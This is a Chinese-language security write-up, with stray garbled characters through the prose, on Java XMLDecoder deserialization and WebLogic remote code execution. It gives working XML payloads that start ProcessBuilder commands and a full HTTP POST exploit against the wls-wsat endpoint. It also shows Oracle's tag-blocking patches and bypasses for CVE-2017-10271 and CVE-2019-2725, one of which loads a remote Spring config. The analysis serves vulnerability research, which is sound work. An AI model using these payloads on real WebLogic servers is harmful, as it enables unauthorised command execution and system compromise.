XMLDecoder和XMLEncoder
java中對對象的序列化和反序列化有多種實(shí)現(xiàn)方式阿宅,比如原生的使用ObjectOuptutStream/ObjectInputStream來實(shí)現(xiàn)序列化和反序列化,還有使用fastjson來進(jìn)行對象的序列/反序列化抹锄,還有使用XStream等双仍,這里的XMLEncoder/XMLDecoder也是java提供的一種序列化和反序列化的方式
XMLEncoder/XMLDecoder
定義一個(gè)java bean匙握,這個(gè)java bean的構(gòu)造方法是一個(gè)無參構(gòu)造方法
package poc.xmlserilize;
import java.io.Serializable;
import java.util.Vector;
public class MyBean {
private boolean myBoolean;
private String myString;
private Vector<String> myVector;
public MyBean() {
}
public boolean isMyBoolean() {
return myBoolean;
}
public void setMyBoolean(boolean myBoolean) {
this.myBoolean = myBoolean;
}
public String getMyString() {
return myString;
}
public void setMyString(String myString) {
this.myString = myString;
}
public Vector<String> getMyVector() {
return myVector;
}
public void setMyVector(Vector<String> myVector) {
this.myVector = myVector;
}
public void sayHello(String name){
System.out.println("this is " + name);
}
}
接下來用XMLEncoder來序列化這個(gè)java bean
package poc.xmlserilize;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.HashMap;
import java.util.Vector;
public class XMLEncodeF {
public static void main(String[] args) throws Exception{
MyBean mb = new MyBean();
mb.setMyBoolean(true);
mb.setMyString("xml is cool");
Vector<String> v = new Vector<String>();
v.add("one");
v.add("two");
v.add("three");
mb.setMyVector(v);
FileOutputStream fos = new FileOutputStream("mybean.xml");
BufferedOutputStream bos = new BufferedOutputStream(fos);
XMLEncoder xmlEncoder = new XMLEncoder(bos);
xmlEncoder.writeObject(mb);
xmlEncoder.close();
// XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("mybean.xml")));
// MyBean bean = (MyBean)xmlDecoder.readObject();
// xmlDecoder.close();
}
}
看一下生成的xml對象
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_202" class="java.beans.XMLDecoder">
<object class="poc.xmlserilize.MyBean">
<void property="myBoolean">
<boolean>true</boolean>
</void>
<void property="myString">
<string>xml is cool</string>
</void>
<void property="myVector">
<object class="java.util.Vector">
<void method="add">
<string>one</string>
</void>
<void method="add">
<string>two</string>
</void>
<void method="add">
<string>three</string>
</void>
</object>
</void>
</object>
</java>
我們現(xiàn)在清楚了xml對象生成的方法弊予,我們根據(jù)文檔中的一個(gè)xml對象例子來進(jìn)行分析
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.0" class="java.beans.XMLDecoder">
<object class="javax.swing.JFrame">
<void property="name">
<string>frame1</string>
</void>
<void property="bounds">
<object class="java.awt.Rectangle">
<int>0</int>
<int>0</int>
<int>200</int>
<int>200</int>
</object>
</void>
<void property="contentPane">
<void method="add">
<object class="javax.swing.JButton">
<void property="label">
<string>Hello</string>
</void>
</object>
</void>
</void>
<void property="visible">
<boolean>true</boolean>
</void>
</object>
</java>
關(guān)于XMLEncoder和XMLDecoder有文檔介紹:https://docs.oracle.com/javase/7/docs/api/java/beans/XMLEncoder.html
其中很關(guān)鍵的一部分
這里對標(biāo)簽的作用有一定的介紹翼岁,但是是英文悦析,感覺還是不是很好理解寿桨,我們可以稍微看一下這里的介紹,明確一下標(biāo)簽的作用,然后通過例子自己分析一下文檔結(jié)構(gòu)
- 每一個(gè)標(biāo)簽都相當(dāng)于一個(gè)方法調(diào)用
- object標(biāo)簽亭螟,代表一個(gè)表達(dá)式挡鞍,它的值被用作圍繞的標(biāo)簽的參數(shù)
來看上面的
<void method="add">
<object class="javax.swing.JButton">
<void property="label">
<string>Hello</string>
</void>
</object>
</void>
object相當(dāng)于是一個(gè)表達(dá)式,object標(biāo)簽的結(jié)果被作為add這個(gè)方法的參數(shù)被傳入预烙,相當(dāng)于add(JButton xxx)
- void標(biāo)簽墨微,代表一個(gè)聲明,比如變量的聲明扁掸,方法調(diào)用的聲明翘县,它的值不被認(rèn)為是圍繞標(biāo)簽的參數(shù)
來看這一段
<void property="name">
<string>frame1</string>
</void>
void標(biāo)簽代表一個(gè)聲明,這里就是一個(gè)變量的聲明谴分,property用來表示變量名锈麸,void里面的標(biāo)簽用來表示變量的值,這里是一個(gè)string類型的變量
- 除了void標(biāo)簽牺蹄,其他任何標(biāo)簽都被認(rèn)為是圍繞標(biāo)簽的參數(shù)
舉個(gè)例子
<object class="MyBean">
<string>test</string>
</object>
因?yàn)檫@里的test不是void標(biāo)簽忘伞,所以test被作為MyBean構(gòu)造函數(shù)的參數(shù)傳入
- 方法可以通過method屬性來進(jìn)行說明,比如上面的
<void method="add">
<object class="javax.swing.JButton">
<void property="label">
<string>Hello</string>
</void>
</object>
</void>
- xml標(biāo)準(zhǔn)的id和idref用來引用上面已經(jīng)定義的一個(gè)對象
- class屬性用來明確的指出一個(gè)類的靜態(tài)方法或者構(gòu)造方法沙兰,為類的全限定名
- void如果沒有指定class的話使用上下文的環(huán)境
- string類型可以直接使用<string>test</string>來表示
這就是最關(guān)鍵的幾個(gè)標(biāo)簽了氓奈,用這幾個(gè)標(biāo)簽可以完整的描述一個(gè)類,但是java為了方便鼎天,也提供了如<array>舀奶,<int>等數(shù)據(jù)類型的標(biāo)簽,在文檔的下面則是介紹更加細(xì)節(jié)的一些東西以及一些約定
XML反序列化很有意思的一點(diǎn)就是我們可以自己去指定任意一個(gè)方法去執(zhí)行斋射,而且這個(gè)類完全可以不用實(shí)現(xiàn)Serializable接口育勺,我們嘗試自己構(gòu)造一個(gè)ProcessBuilder對象
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_202" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/blog</string>
</void>
</array>
<void method="start">
</void>
</object>
</java>
反序列化:
XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("mybean.xml")));
MyBean bean = (MyBean)xmlDecoder.readObject();
xmlDecoder.close();
通過XMLDecoder反序列化成功執(zhí)行命令
可以看到XMLDecoder反序列化,根本不需要調(diào)用鏈绩鸣,因?yàn)樗旧砜梢苑葱蛄谢粋€(gè)類怀大,并且可以調(diào)用任意方法,我們來稍微分析一下ProccessBuilder的構(gòu)造
首先是用object標(biāo)簽聲明了一個(gè)ProcessBuilder的對象呀闻,然后里面的array標(biāo)簽作為ProcessBuilder的構(gòu)造函數(shù)的參數(shù)傳入化借,而最后的void標(biāo)簽指定了調(diào)用的方法為start,并且start方法并沒有參數(shù)可以傳入捡多,所以里面沒有其他的元素了
和我們平常調(diào)用ProcessBuilder一致:
小結(jié)
所以在挖掘XMLDecoder反序列化的時(shí)候蓖康,只要在構(gòu)造XMLDecoder對象的時(shí)候傳入的InputStream我們可控,而且在XMLDecoder之后調(diào)用了readObject方法垒手,就可以證明有反序列化漏洞
weblogic xmldecoder反序列化
先來個(gè)exp:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.100:7001
Content-Length: 849
Pragma: no-cache
Cache-Control: no-cache
Origin: http://192.168.0.100:7001
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.100:7001/wls-wsat/CoordinatorPortType
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cnva_2132_saltkey=DVnLKAq2; cnva_2132_lastvisit=1580888977; cnva_2132_sid=Phr4h5; cnva_2132_lastact=1580894593%09search.php%09forum
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/webaklsdjfkla</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
成功執(zhí)行命令:
把weblogic調(diào)試環(huán)境搭建好蒜焊,最終出問題的地方是在WorkContextXmlInputAdapter這個(gè)類中的readUTF方法中
可以看到,這里調(diào)用了XMLDecoder的readObject方法科贬,所以只要構(gòu)造XMLDecoder的時(shí)候輸入流我們可控泳梆,就可以造成xml反序列化漏洞
把斷點(diǎn)下在readUTF上鳖悠,可以看到整個(gè)的調(diào)用鏈:
weblogic的函數(shù)調(diào)用十分深,一步步跟太復(fù)雜优妙,對傳入soap協(xié)議進(jìn)行解析的地方是在processRequest這個(gè)函數(shù)中乘综,我們從這里跟起
這里傳入了Packet對象,其實(shí)就是我們POST傳入的soap協(xié)議
通過這兩個(gè)函數(shù)獲取了soap協(xié)議頭的值
這里對頭部還有一個(gè)匹配的操作套硼,必須有一些特定的屬性和字段
這就是為什么soap頭要添加幾個(gè)字段和屬性
接下來我們獲取到了soap的頭部卡辰,之后進(jìn)入到readHeaderOld,在這里對soap的頭部進(jìn)行了去除邪意,拿出了包裹的xml對象
接下來對WorkContextXmlInputAdapter的實(shí)例化九妈,這里實(shí)例化了XMLDecoder并且可以看出來,傳入的輸入流正是我們可控的xml對象
這個(gè)時(shí)候雾鬼,我們只要找到調(diào)用XMLDecoder.readObject的地方就可以了萌朱,從這里的WorkContextXmlInputAdapter可以猜測這個(gè)類是一個(gè)攔截器,我們一致跟著var1這個(gè)變量呆贿,看它在什么時(shí)候調(diào)用了自己的方法嚷兔,一致跟到readEntry這個(gè)方法,這個(gè)變量調(diào)用了readUTF方法
最后成功在readUTF中觸發(fā)反序列化
weblogic的修復(fù)和繞過
第一次攔截
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
防御非常簡單做入,如果開始的標(biāo)簽為object標(biāo)簽直接拋出異常推出
CVE-2017-10271
前面說過了,在文檔中也提到同衣,可以不用object標(biāo)簽來代表一個(gè)對象竟块,void標(biāo)簽同樣可以,也就是CVE-2017-10271的繞過方法:
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</void>
</java>
第二次攔截
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
CVE-2019-2725
<java>
<class>
<string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string>
<void>
<string>http://xxxx</string>
</void>
</class>
</java>
文檔也提到了class標(biāo)簽
但是沒有很詳細(xì)的說明耐齐,CVE-2019-2725就是基于class標(biāo)簽的繞過
因?yàn)橹跋拗屏瞬荒苡衜ethod屬性浪秘,所以不能直接執(zhí)行方法了,所以只能找類的構(gòu)造方法中有反序列化的地方